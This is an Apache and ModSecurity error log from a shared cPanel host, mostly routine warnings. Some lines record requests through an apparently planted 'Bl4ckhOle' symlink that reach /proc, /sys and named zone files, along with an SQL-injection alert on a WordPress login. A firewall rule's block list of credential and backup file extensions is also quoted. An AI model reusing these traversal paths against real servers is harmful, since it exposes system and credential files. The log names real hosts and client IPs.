[Fri Jul 17 08:00:07.672166 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory12/node0/compact
[Fri Jul 17 08:00:07.692311 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu0/node0/cpu3/driver/bind
[Fri Jul 17 08:00:07.705512 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/node0/cpu0/driver/bind
[Fri Jul 17 08:00:07.801220 2026] [security2:error] [pid 1994956:tid 1994956] [client 57.141.18.24:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory101/subsystem/devices/memory103/subsystem/devices/memory61/node0/cpu3/node0/memory1/"] [unique_id "almTrwG5-NXx3Mem1QgI4AAAAA8"]
[Fri Jul 17 08:00:07.801253 2026] [security2:error] [pid 1994956:tid 1994956] [client 57.141.18.24:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory101/subsystem/devices/memory103/subsystem/devices/memory61/node0/cpu3/node0/memory1/"] [unique_id "almTrwG5-NXx3Mem1QgI4AAAAA8"]
[Fri Jul 17 08:00:07.925010 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:34370] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:08.025026 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:34416] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:08.481440 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory136/node0/compact
[Fri Jul 17 08:00:08.823289 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:08.892915 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:09.031740 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/node0/cpu2/driver/bind
[Fri Jul 17 08:00:09.189137 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:09.189206 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:09.189228 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:09.351161 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:09.439031 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:09.507972 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:34460] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:10.200105 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:10.440968 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:10.716165 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:11.125360 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:11.148162 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 47.128.48.125:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/ksm_mm_slot/hwcache_align
[Fri Jul 17 08:00:11.654346 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:11.772480 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:11.807113 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:12.025598 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:12.025807 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:12.042045 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:12.056202 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:12.141899 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:12.175274 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:12.225244 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:12.270673 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:12.276341 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:12.348752 2026] [ssl:error] [pid 1993998:tid 1993998] (5)Input/output error: [client 66.85.158.91:43996] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:12.534593 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:12.807207 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:12.901347 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:13.004423 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:13.004529 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:13.004561 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:13.091903 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:13.653757 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:13.736184 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:14.509987 2026] [security2:error] [pid 1993570:tid 1993570] [client 57.141.18.14:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory100/subsystem/devices/memory112/subsystem/devices/memory116/node0/memory34/"] [unique_id "almTtnjA8yK8B7kryx3b3wAAAAk"]
[Fri Jul 17 08:00:14.510202 2026] [security2:error] [pid 1993570:tid 1993570] [client 57.141.18.14:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory100/subsystem/devices/memory112/subsystem/devices/memory116/node0/memory34/"] [unique_id "almTtnjA8yK8B7kryx3b3wAAAAk"]
[Fri Jul 17 08:00:14.510606 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:44128] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:14.739164 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:44142] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:15.369530 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:44148] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:17.154778 2026] [security2:error] [pid 1993573:tid 1993573] [client 103.90.234.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "colperlab.com"] [uri "/wp-login.php"] [unique_id "almTknt8zp89pALg8Q5fzAAAAA4"], referer: https://colperlab.com/wp-login.php
[Fri Jul 17 08:00:18.968042 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:44304] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:19.875517 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:20.606907 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:20.699102 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/node0/subsystem/drivers_probe
[Fri Jul 17 08:00:21.428806 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:22.549694 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/PHPMailer/OAuth.php"] [unique_id "almTvo1dLClkUfK_dfHbmwAAAAI"]
[Fri Jul 17 08:00:22.550049 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/PHPMailer/OAuth.php"] [unique_id "almTvo1dLClkUfK_dfHbmwAAAAI"]
[Fri Jul 17 08:00:22.571456 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/PHPMailer/OAuth.php"] [unique_id "almTvo1dLClkUfK_dfHbmwAAAAI"]
[Fri Jul 17 08:00:24.293317 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/class/rtc/rtc0/device/driver/bind
[Fri Jul 17 08:00:24.704300 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:24.736133 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/node0/memory57/removable"] [unique_id "almTwI1dLClkUfK_dfHbnQAAAAI"]
[Fri Jul 17 08:00:24.736172 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/node0/memory57/removable"] [unique_id "almTwI1dLClkUfK_dfHbnQAAAAI"]
[Fri Jul 17 08:00:24.785897 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:24.887991 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:24.993228 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:25.006699 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:25.319705 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:25.479070 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:26.089366 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:52008] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:26.272208 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:26.372797 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:52016] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:26.698546 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:26.782146 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:26.934243 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:27.328029 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:27.539236 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:52066] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:28.029144 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:28.068976 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:28.078703 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:28.160436 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:28.243723 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:28.550361 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:28.589980 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:28.604562 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:29.202531 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:29.204277 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/gettext/projects/KDE/distributed.html"] [unique_id "almTxQG5-NXx3Mem1QgI9QAAAA8"]
[Fri Jul 17 08:00:29.204313 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/gettext/projects/KDE/distributed.html"] [unique_id "almTxQG5-NXx3Mem1QgI9QAAAA8"]
[Fri Jul 17 08:00:29.258633 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:29.350211 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:29.457091 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:29.621572 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:29.895018 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/node0/cpu2/driver/unbind
[Fri Jul 17 08:00:29.986005 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.079400 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.171771 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.357970 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.358072 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.358139 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.358172 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.358217 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.358278 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.358366 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.358384 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.358402 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.358431 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.358542 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.358661 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.358678 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.358701 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.358720 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.358735 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.358752 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.358767 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.396732 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.396778 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.396797 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.396823 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.396882 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.396951 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.396988 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.446982 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.502920 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:52190] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:30.547420 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.629945 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.720657 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.812815 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:30.997738 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:31.085298 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:31.706242 2026] [security2:error] [pid 1994446:tid 1994446] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/js/jquery.nivo.slider.js"] [unique_id "almTx12NhE8i6ppze4eoeQAAAAs"]
[Fri Jul 17 08:00:31.706793 2026] [security2:error] [pid 1994446:tid 1994446] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/js/jquery.nivo.slider.js"] [unique_id "almTx12NhE8i6ppze4eoeQAAAAs"]
[Fri Jul 17 08:00:31.707367 2026] [security2:error] [pid 1994446:tid 1994446] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/js/jquery.nivo.slider.js"] [unique_id "almTx12NhE8i6ppze4eoeQAAAAs"]
[Fri Jul 17 08:00:32.746758 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:33.057254 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:33.062101 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:33.139717 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:33.154949 2026] [security2:error] [pid 1993998:tid 1993998] [client 47.82.11.220:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/var/named/dataesite.lk.db"] [unique_id "almTyWidQp3SsqeycPEnegAAAAo"], referer: http://www.anandaobauae.org/
[Fri Jul 17 08:00:33.155388 2026] [security2:error] [pid 1993998:tid 1993998] [client 47.82.11.220:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/var/named/dataesite.lk.db"] [unique_id "almTyWidQp3SsqeycPEnegAAAAo"], referer: http://www.anandaobauae.org/
[Fri Jul 17 08:00:33.155467 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 47.82.11.220:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/var/named/dataesite.lk.db, referer: http://www.anandaobauae.org/
[Fri Jul 17 08:00:33.155816 2026] [security2:error] [pid 1993998:tid 1993998] [client 47.82.11.220:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/var/named/dataesite.lk.db"] [unique_id "almTyWidQp3SsqeycPEnegAAAAo"], referer: http://www.anandaobauae.org/
[Fri Jul 17 08:00:33.226642 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:45882] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:33.536308 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:33.800172 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:45930] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:33.897757 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:33.978743 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
